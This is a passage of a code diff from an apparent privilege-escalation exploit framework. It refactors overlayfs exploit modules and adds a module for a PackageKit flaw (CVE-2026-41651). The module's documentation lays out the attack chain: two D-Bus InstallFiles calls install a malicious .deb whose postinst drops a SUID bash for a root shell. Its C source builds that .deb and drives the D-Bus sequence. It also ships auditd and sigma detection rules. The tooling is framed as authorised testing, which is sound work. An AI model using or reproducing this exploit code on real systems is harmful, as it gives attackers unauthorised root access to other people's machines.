bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
|
||||
@@ -37,13 +37,17 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/mount.h>
|
||||
@@ -129,10 +133,18 @@ static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
|
||||
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
|
||||
* because upstream didn't enable the userns-mount path until
|
||||
* 5.11. Bail early for non-Ubuntu. */
|
||||
if (!is_ubuntu()) {
|
||||
* 5.11. Bail early for non-Ubuntu. Consult the shared host
|
||||
* fingerprint (distro_id == "ubuntu" — populated once at startup;
|
||||
* the local is_ubuntu() helper is preserved for symmetry / future
|
||||
* standalone use but the dispatcher path goes through ctx->host). */
|
||||
bool ubuntu = ctx->host
|
||||
? (strcmp(ctx->host->distro_id, "ubuntu") == 0)
|
||||
: is_ubuntu();
|
||||
if (!ubuntu) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
|
||||
fprintf(stderr, "[+] overlayfs: not Ubuntu (distro=%s) — bug is "
|
||||
"Ubuntu-specific\n",
|
||||
ctx->host ? ctx->host->distro_id : "?");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -180,7 +192,7 @@ static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
* Ubuntu fix is per-release-specific; conservatively report
|
||||
* VULNERABLE if version < 5.13 (covers most affected Ubuntu LTS),
|
||||
* and recommend --active for confirmation. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 13)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
|
||||
"re-run with --active to confirm\n", v.release);
|
||||
@@ -446,6 +458,28 @@ fail_workdir:
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: overlayfs / unshare(CLONE_NEWUSER|CLONE_NEWNS) /
|
||||
* setxattr("security.capability") are all Linux-only. Stub out so the
|
||||
* module still registers and the top-level `make` completes on
|
||||
* macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] overlayfs: Linux-only module "
|
||||
"(Ubuntu userns-overlayfs) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] overlayfs: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
|
||||
static const char overlayfs_auditd[] =
|
||||
|
||||
@@ -40,14 +40,18 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -68,18 +72,10 @@ static const struct kernel_range overlayfs_setuid_range = {
|
||||
sizeof(overlayfs_setuid_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
/* The unprivileged-userns precondition is now read from the shared
|
||||
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||
* probes once at startup via core/host.c. The previous per-detect
|
||||
* fork-probe helper was removed. */
|
||||
|
||||
static const char *find_setuid_in_lower(void)
|
||||
{
|
||||
@@ -98,39 +94,43 @@ static const char *find_setuid_in_lower(void)
|
||||
|
||||
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] overlayfs_setuid: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.11 when ovl copy-up was generalized.
|
||||
* Pre-5.11 immune via a different code path. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 11)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
|
||||
"(introduced in 5.11)\n", v.release);
|
||||
"(introduced in 5.11)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
|
||||
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] overlayfs_setuid: user_ns+mount_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
@@ -197,7 +197,10 @@ static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ct
|
||||
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -371,6 +374,32 @@ static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ct
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: overlayfs copy-up / unshare(CLONE_NEWUSER|CLONE_NEWNS)
|
||||
* / mount("overlay", ...) are Linux-only. Stub out so the module still
|
||||
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] overlayfs_setuid: Linux-only module "
|
||||
"(overlayfs setuid copy-up) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] overlayfs_setuid: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char overlayfs_setuid_auditd[] =
|
||||
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
|
||||
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
# pack2theroot — CVE-2026-41651
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public Vozec PoC.
|
||||
> **Not yet validated end-to-end on a vulnerable host** — see
|
||||
> _Verification status_.
|
||||
|
||||
## Summary
|
||||
|
||||
Pack2TheRoot is a userspace LPE in the **PackageKit** daemon
|
||||
(`packagekitd`), the cross-distro package-management D-Bus abstraction
|
||||
layer shipped on virtually every desktop and most modern server Linux
|
||||
distros (Ubuntu, Debian, Fedora, Rocky/RHEL via Cockpit, openSUSE…).
|
||||
|
||||
Three cooperating bugs in `src/pk-transaction.c` chain into a TOCTOU
|
||||
window between polkit authorisation and dispatch. **The exploit needs
|
||||
no GUI session, no special permissions, and no polkit prompt** —
|
||||
GLib's D-Bus-vs-idle priority ordering makes it deterministic, not a
|
||||
timing race.
|
||||
|
||||
```
|
||||
1. InstallFiles(SIMULATE, dummy.deb) ← polkit bypassed; idle queued
|
||||
2. InstallFiles(NONE, payload.deb) ← cached_flags overwritten
|
||||
3. GLib idle fires → pk_transaction_run() ← reads payload.deb + NONE
|
||||
→ dpkg runs postinst as root → SUID bash → root shell
|
||||
```
|
||||
|
||||
The payload `.deb` is built entirely in C inside the module
|
||||
(ar / ustar / gzip-stored, no external `dpkg-deb` dependency).
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks Debian/Ubuntu host, system D-Bus accessible, `org.freedesktop.PackageKit` registered, and reads `VersionMajor/Minor/Micro` from the daemon. Returns VULNERABLE only when the version falls in `1.0.2 ≤ V ≤ 1.3.4`. The fix release (1.3.5, commit `76cfb675`, 2026-04-22) is pinned. |
|
||||
| `--exploit … --i-know` | Builds the two `.deb`s in `/tmp`, fires the two `InstallFiles` D-Bus calls back-to-back, polls up to 120s for `/tmp/.suid_bash` to appear, then `execv`s it for an interactive root shell. `--no-shell` stops after the SUID bash lands. |
|
||||
| `--cleanup` | Removes the staged `.deb` files; best-effort `unlink(/tmp/.suid_bash)` (the file is root-owned — needs root to remove); best-effort `sudo -n dpkg -r` the installed staging packages. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules covering the file-side footprint (the D-Bus call itself isn't auditable without bus monitoring). |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- Linux + Debian/Ubuntu (the PoC's built-in `.deb` builder is
|
||||
Debian-family only; RHEL/Fedora ports would need an `.rpm` builder).
|
||||
- PackageKit daemon registered on the system bus.
|
||||
- PackageKit version in `[1.0.2, 1.3.4]`.
|
||||
- Module built with `libglib2.0-dev` available (the top-level Makefile
|
||||
autodetects `gio-2.0` via `pkg-config`; the module compiles as a
|
||||
stub returning `PRECOND_FAIL` when GLib is absent).
|
||||
|
||||
## Side-effect notes
|
||||
|
||||
The exploit installs a malicious `.deb` (registered in dpkg's database
|
||||
as `skeletonkey-p2tr-payload`) and drops `/tmp/.suid_bash`. Both are
|
||||
intentionally visible — this is an authorised-testing tool, not a
|
||||
covert toolkit. Run `--cleanup` (preferably as root) before leaving
|
||||
the host.
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/Vozec/CVE-2026-41651> into the SKELETONKEY module
|
||||
interface. It has **not** been validated end-to-end against a known-
|
||||
vulnerable PackageKit host inside the SKELETONKEY CI matrix.
|
||||
|
||||
Unlike the page-cache modules, `detect()` here is high-confidence:
|
||||
the fix release is officially pinned and the version is read directly
|
||||
from the daemon over D-Bus, so a `VULNERABLE` verdict is grounded in
|
||||
upstream's own version metadata rather than a heuristic.
|
||||
|
||||
**Before promoting to 🟢:** validate the trigger end-to-end on a
|
||||
Debian/Ubuntu host with PackageKit ≤ 1.3.4 (the Vozec repo ships a
|
||||
Dockerfile that builds PackageKit 1.3.4 from source — that is the
|
||||
recommended bench).
|
||||
@@ -0,0 +1,53 @@
|
||||
# NOTICE — pack2theroot
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-41651** — Pack2TheRoot. PackageKit TOCTOU local privilege
|
||||
escalation in `src/pk-transaction.c`: two cooperating bugs allow
|
||||
`cached_transaction_flags` and `cached_full_paths` to be overwritten
|
||||
between polkit authorisation and dispatch, and a third bug causes the
|
||||
dispatcher to read those cached values at fire time rather than at
|
||||
authorisation time. GLib's D-Bus-vs-idle priority ordering makes the
|
||||
overwrite deterministic, not a timing race.
|
||||
|
||||
CVSS 8.1. Affects PackageKit `1.0.2` through `1.3.4` (over a decade
|
||||
of releases). Fixed in **PackageKit 1.3.5** (upstream commit
|
||||
`76cfb675`, 2026-04-22).
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by the **Deutsche Telekom security team**.
|
||||
|
||||
> Telekom advisory: <https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html>
|
||||
> Upstream advisory: <https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv>
|
||||
|
||||
The standalone proof-of-concept exploit the SKELETONKEY module is
|
||||
ported from is by **Vozec**:
|
||||
|
||||
> Reference PoC: <https://github.com/Vozec/CVE-2026-41651>
|
||||
|
||||
The Vozec repository carries no `LICENSE` file at the time of porting;
|
||||
the SKELETONKEY-distributed `skeletonkey_modules.c` is original
|
||||
SKELETONKEY-licensed code (MIT) that reproduces the PoC's deb-builder
|
||||
(ar / ustar / gzip-stored) and D-Bus call sequence. Independent
|
||||
research credit belongs to the people above.
|
||||
|
||||
A CTF-style lab by **dinosn** (Dockerised PackageKit 1.3.4 build with
|
||||
the exploit pre-set) is a useful reference bench:
|
||||
|
||||
> CTF lab: <https://github.com/dinosn/pack2theroot-lab>
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` wraps the PoC in the standard
|
||||
`skeletonkey_module` detect / exploit / cleanup interface, adds the
|
||||
embedded auditd + sigma rules, and reads PackageKit's
|
||||
`VersionMajor/Minor/Micro` D-Bus properties so `detect()` can give a
|
||||
high-confidence verdict (the fix release 1.3.5 is officially pinned —
|
||||
no version-fabrication caveat).
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable host.** See
|
||||
`MODULE.md` for the recommended verification path (Vozec's Dockerised
|
||||
PackageKit-1.3.4 bench).
|
||||
@@ -0,0 +1,28 @@
|
||||
# Pack2TheRoot (CVE-2026-41651) — auditd detection rules
|
||||
#
|
||||
# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls
|
||||
# install a malicious .deb as root, whose postinst drops a SUID bash
|
||||
# in /tmp. The D-Bus traffic itself is not auditable without bus
|
||||
# monitoring (dbus-monitor / dbus-broker logs), so these rules cover
|
||||
# the file-side footprint.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# The exact SUID payload path the published PoC lands
|
||||
-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot
|
||||
|
||||
# Any setuid bit set on /tmp/.suid_bash by anyone
|
||||
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \
|
||||
-F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid
|
||||
|
||||
# The PoC drops two .deb files in /tmp immediately before the install
|
||||
-a always,exit -F arch=b64 -S openat,creat \
|
||||
-F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb
|
||||
|
||||
# packagekitd-driven dpkg/apt activity initiated by a non-root caller
|
||||
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \
|
||||
-F auid!=0 -k skeletonkey-pack2theroot-dpkg
|
||||
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \
|
||||
-F auid!=0 -k skeletonkey-pack2theroot-apt
|
||||
@@ -0,0 +1,32 @@
|
||||
title: Possible Pack2TheRoot exploitation (CVE-2026-41651)
|
||||
id: 3f2b8d54-skeletonkey-pack2theroot
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-side footprint of Pack2TheRoot (CVE-2026-41651): a
|
||||
non-root user triggers PackageKit InstallFiles, dpkg runs a postinst
|
||||
that drops /tmp/.suid_bash (a setuid bash), and a privileged shell
|
||||
follows. The trigger itself is two back-to-back D-Bus calls with no
|
||||
polkit prompt — only visible via dbus-monitor or the file side
|
||||
effects flagged below.
|
||||
references:
|
||||
- https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html
|
||||
- https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv
|
||||
- https://github.com/Vozec/CVE-2026-41651
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
suid_drop:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/tmp/.suid_bash'
|
||||
- '/tmp/.pk-payload-'
|
||||
- '/tmp/.pk-dummy-'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: suid_drop and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.41651
|
||||
@@ -0,0 +1,710 @@
|
||||
/*
|
||||
* pack2theroot_cve_2026_41651 — SKELETONKEY module
|
||||
*
|
||||
* Pack2TheRoot (CVE-2026-41651) — PackageKit TOCTOU LPE.
|
||||
*
|
||||
* Three cooperating bugs in PackageKit's `src/pk-transaction.c`:
|
||||
* BUG 1 InstallFiles() stores cached_transaction_flags and
|
||||
* cached_full_paths unconditionally, with no state guard.
|
||||
* BUG 2 pk_transaction_set_state() silently rejects backward
|
||||
* transitions (READY → WAITING_FOR_AUTH).
|
||||
* BUG 3 pk_transaction_run() reads the cached flags at dispatch
|
||||
* time, not at authorisation time.
|
||||
* BYPASS The SIMULATE flag skips polkit entirely.
|
||||
*
|
||||
* Two back-to-back async D-Bus InstallFiles() calls — first with
|
||||
* SIMULATE (bypasses polkit, queues a GLib idle callback), then
|
||||
* immediately with NONE + the malicious .deb (overwrites the cached
|
||||
* flags/paths before the idle fires). GLib priority ordering makes
|
||||
* this deterministic, not a timing race. postinst of the malicious
|
||||
* .deb installs a SUID bash at /tmp/.suid_bash → root shell.
|
||||
*
|
||||
* This module is a faithful port of the public PoC by Vozec
|
||||
* (github.com/Vozec/CVE-2026-41651); the deb-builder helpers
|
||||
* (CRC-32, gzip-stored, tar entry, ar entry, build_deb) and the
|
||||
* D-Bus call sequence are reproduced from that PoC. The original
|
||||
* disclosure was by the Deutsche Telekom security team. See
|
||||
* NOTICE.md.
|
||||
*
|
||||
* Build adaptation: the module requires GLib/GIO for D-Bus. The
|
||||
* top-level Makefile autodetects gio-2.0 via pkg-config and defines
|
||||
* PACK2TR_HAVE_GIO when present. When absent, the module compiles as
|
||||
* a stub that returns PRECOND_FAIL with a build-time hint.
|
||||
*
|
||||
* Port adaptations vs. the standalone PoC:
|
||||
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
||||
* - exploit() runs the PoC body in a forked child so the PoC's
|
||||
* die()/exit() paths cannot tear down the skeletonkey dispatcher
|
||||
* - detect() does a passive precondition + version check (vulnerable
|
||||
* range 1.0.2 ≤ V ≤ 1.3.4, fixed in 1.3.5) — no version-only
|
||||
* fabrication; the fix release is officially pinned
|
||||
* - honours ctx->no_shell (build + fire the TOCTOU, do not spawn
|
||||
* the SUID bash shell)
|
||||
* - cleanup() removes the two /tmp .debs and best-effort-unlinks
|
||||
* /tmp/.suid_bash (which requires root since it is owned by root)
|
||||
*
|
||||
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
||||
* vulnerable PackageKit (1.3.4 or earlier) host. The fix release
|
||||
* (1.3.5, commit 76cfb675, 2026-04-22) IS pinned.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#if defined(__linux__) && defined(PACK2TR_HAVE_GIO)
|
||||
|
||||
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
||||
* Makefile; do not redefine here. */
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/file.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <time.h>
|
||||
#include <glib.h>
|
||||
#include <gio/gio.h>
|
||||
|
||||
/* ── config ────────────────────────────────────────────────────────── */
|
||||
#define SUID_PATH "/tmp/.suid_bash"
|
||||
#define PK_BUS "org.freedesktop.PackageKit"
|
||||
#define PK_OBJ "/org/freedesktop/PackageKit"
|
||||
#define PK_IFACE "org.freedesktop.PackageKit"
|
||||
#define PK_TX_IFACE "org.freedesktop.PackageKit.Transaction"
|
||||
#define FLAG_NONE ((guint64)0)
|
||||
#define FLAG_SIMULATE ((guint64)(1u << 2)) /* SIMULATE bypasses polkit */
|
||||
|
||||
/* Vulnerable range: PackageKit 1.0.2 ≤ V ≤ 1.3.4. Fixed in 1.3.5. */
|
||||
#define P2TR_VER(M,m,p) ((M)*10000 + (m)*100 + (p))
|
||||
#define P2TR_VER_LO P2TR_VER(1,0,2)
|
||||
#define P2TR_VER_HI P2TR_VER(1,3,4)
|
||||
|
||||
static int p2tr_verbose = 1;
|
||||
#define LOG(fmt, ...) do { if (p2tr_verbose) \
|
||||
fprintf(stderr, "[*] pack2theroot: " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||
#define ERR(fmt, ...) fprintf(stderr, "[-] pack2theroot: " fmt "\n", ##__VA_ARGS__)
|
||||
|
||||
/* ── CRC-32 (ISO 3309) — verbatim from V12 PoC ─────────────────────── */
|
||||
static uint32_t crc_tab[256];
|
||||
static void crc_init(void)
|
||||
{
|
||||
for (unsigned i = 0; i < 256; i++) {
|
||||
uint32_t c = i;
|
||||
for (int j = 0; j < 8; j++) c = (c&1) ? (0xedb88320u ^ (c>>1)) : (c>>1);
|
||||
crc_tab[i] = c;
|
||||
}
|
||||
}
|
||||
static uint32_t crc32_iso(const void *src, size_t n)
|
||||
{
|
||||
const uint8_t *p = src; uint32_t c = 0xffffffffu;
|
||||
while (n--) c = crc_tab[(c ^ *p++) & 0xff] ^ (c >> 8);
|
||||
return c ^ 0xffffffffu;
|
||||
}
|
||||
|
||||
/* ── gzip stored deflate block (max 65535 B) ───────────────────────── */
|
||||
static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
|
||||
{
|
||||
if (len > 0xffff) return 0;
|
||||
uint8_t *p = dst;
|
||||
*p++ = 0x1f; *p++ = 0x8b; *p++ = 0x08; *p++ = 0x00;
|
||||
p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++ = 0x00; *p++ = 0xff;
|
||||
uint16_t ln = len, nln = ~ln;
|
||||
*p++ = 0x01; memcpy(p, &ln, 2); p += 2; memcpy(p, &nln, 2); p += 2;
|
||||
memcpy(p, src, len); p += len;
|
||||
uint32_t c = crc32_iso(src, len), s = (uint32_t)len;
|
||||
memcpy(p, &c, 4); p += 4; memcpy(p, &s, 4); p += 4;
|
||||
return p - dst;
|
||||
}
|
||||
|
||||
/* ── ustar tar entry ───────────────────────────────────────────────── */
|
||||
static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
|
||||
size_t dlen, mode_t mode, char type)
|
||||
{
|
||||
memset(buf, 0, 512);
|
||||
snprintf((char *)buf, 100, "%s", name);
|
||||
snprintf((char *)buf+100, 8, "%07o", (unsigned)mode);
|
||||
snprintf((char *)buf+108, 8, "%07o", 0u);
|
||||
snprintf((char *)buf+116, 8, "%07o", 0u);
|
||||
snprintf((char *)buf+124, 12, "%011o", (unsigned)dlen);
|
||||
snprintf((char *)buf+136, 12, "%011o", (unsigned)time(NULL));
|
||||
memset(buf+148, ' ', 8);
|
||||
buf[156] = type;
|
||||
memcpy(buf+257, "ustar", 5); memcpy(buf+263, "00", 2);
|
||||
unsigned sum = 0; for (int i = 0; i < 512; i++) sum += buf[i];
|
||||
snprintf((char *)buf+148, 8, "%06o", sum);
|
||||
buf[154] = '\0'; buf[155] = ' ';
|
||||
size_t pad = dlen ? ((dlen + 511) / 512) * 512 : 0;
|
||||
if (dlen && data) memcpy(buf + 512, data, dlen);
|
||||
if (pad > dlen) memset(buf + 512 + dlen, 0, pad - dlen);
|
||||
return 512 + pad;
|
||||
}
|
||||
|
||||
/* ── ar member ─────────────────────────────────────────────────────── */
|
||||
static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
|
||||
{
|
||||
char h[61]; memset(h, ' ', 60); h[60] = 0;
|
||||
char t[17]; snprintf(t, 17, "%-16s", name); memcpy(h, t, 16);
|
||||
snprintf(t, 13, "%-12lu", (unsigned long)time(NULL)); memcpy(h+16, t, 12);
|
||||
memcpy(h+28, "0 ", 6); memcpy(h+34, "0 ", 6);
|
||||
memcpy(h+40, "100644 ", 8);
|
||||
snprintf(t, 11, "%-10zu", sz); memcpy(h+48, t, 10);
|
||||
h[58] = '`'; h[59] = '\n';
|
||||
fwrite(h, 1, 60, f); fwrite(data, 1, sz, f);
|
||||
if (sz % 2) fputc('\n', f);
|
||||
}
|
||||
|
||||
/* Assemble a minimal .deb (faithful to the V12 PoC build_deb). */
|
||||
static int build_deb(const char *dest, const char *pkg, const char *postinst)
|
||||
{
|
||||
static uint8_t tarbuf[65536], gzbuf[65536+256];
|
||||
memset(tarbuf, 0, sizeof tarbuf);
|
||||
crc_init();
|
||||
size_t off = 0;
|
||||
|
||||
char ctrl[512];
|
||||
snprintf(ctrl, sizeof ctrl,
|
||||
"Package: %s\nVersion: 1.0\nArchitecture: all\n"
|
||||
"Maintainer: SKELETONKEY\nDescription: Pack2TheRoot PoC\n", pkg);
|
||||
|
||||
off += tar_entry(tarbuf+off, "./", NULL, 0, 0755, '5');
|
||||
off += tar_entry(tarbuf+off, "./control", ctrl, strlen(ctrl), 0644, '0');
|
||||
if (postinst)
|
||||
off += tar_entry(tarbuf+off, "./postinst", postinst,
|
||||
strlen(postinst), 0755, '0');
|
||||
off += 1024; /* end-of-archive: two 512-byte zero blocks */
|
||||
|
||||
size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
|
||||
if (!ctrl_gz_len) return -1;
|
||||
|
||||
static uint8_t empty_tar[1024], data_gz[256];
|
||||
memset(empty_tar, 0, sizeof empty_tar);
|
||||
size_t data_gz_len = gzip_store(empty_tar, sizeof empty_tar, data_gz);
|
||||
|
||||
FILE *f = fopen(dest, "wb");
|
||||
if (!f) return -1;
|
||||
fwrite("!<arch>\n", 1, 8, f);
|
||||
ar_entry(f, "debian-binary", "2.0\n", 4);
|
||||
ar_entry(f, "control.tar.gz", gzbuf, ctrl_gz_len);
|
||||
ar_entry(f, "data.tar.gz", data_gz, data_gz_len);
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── D-Bus helpers ─────────────────────────────────────────────────── */
|
||||
|
||||
typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } P2trCtx;
|
||||
|
||||
static void cb_finished(GDBusConnection *c G_GNUC_UNUSED,
|
||||
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
|
||||
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
|
||||
GVariant *p, gpointer u)
|
||||
{
|
||||
P2trCtx *ctx = u; guint32 ec, rt;
|
||||
g_variant_get(p, "(uu)", &ec, &rt);
|
||||
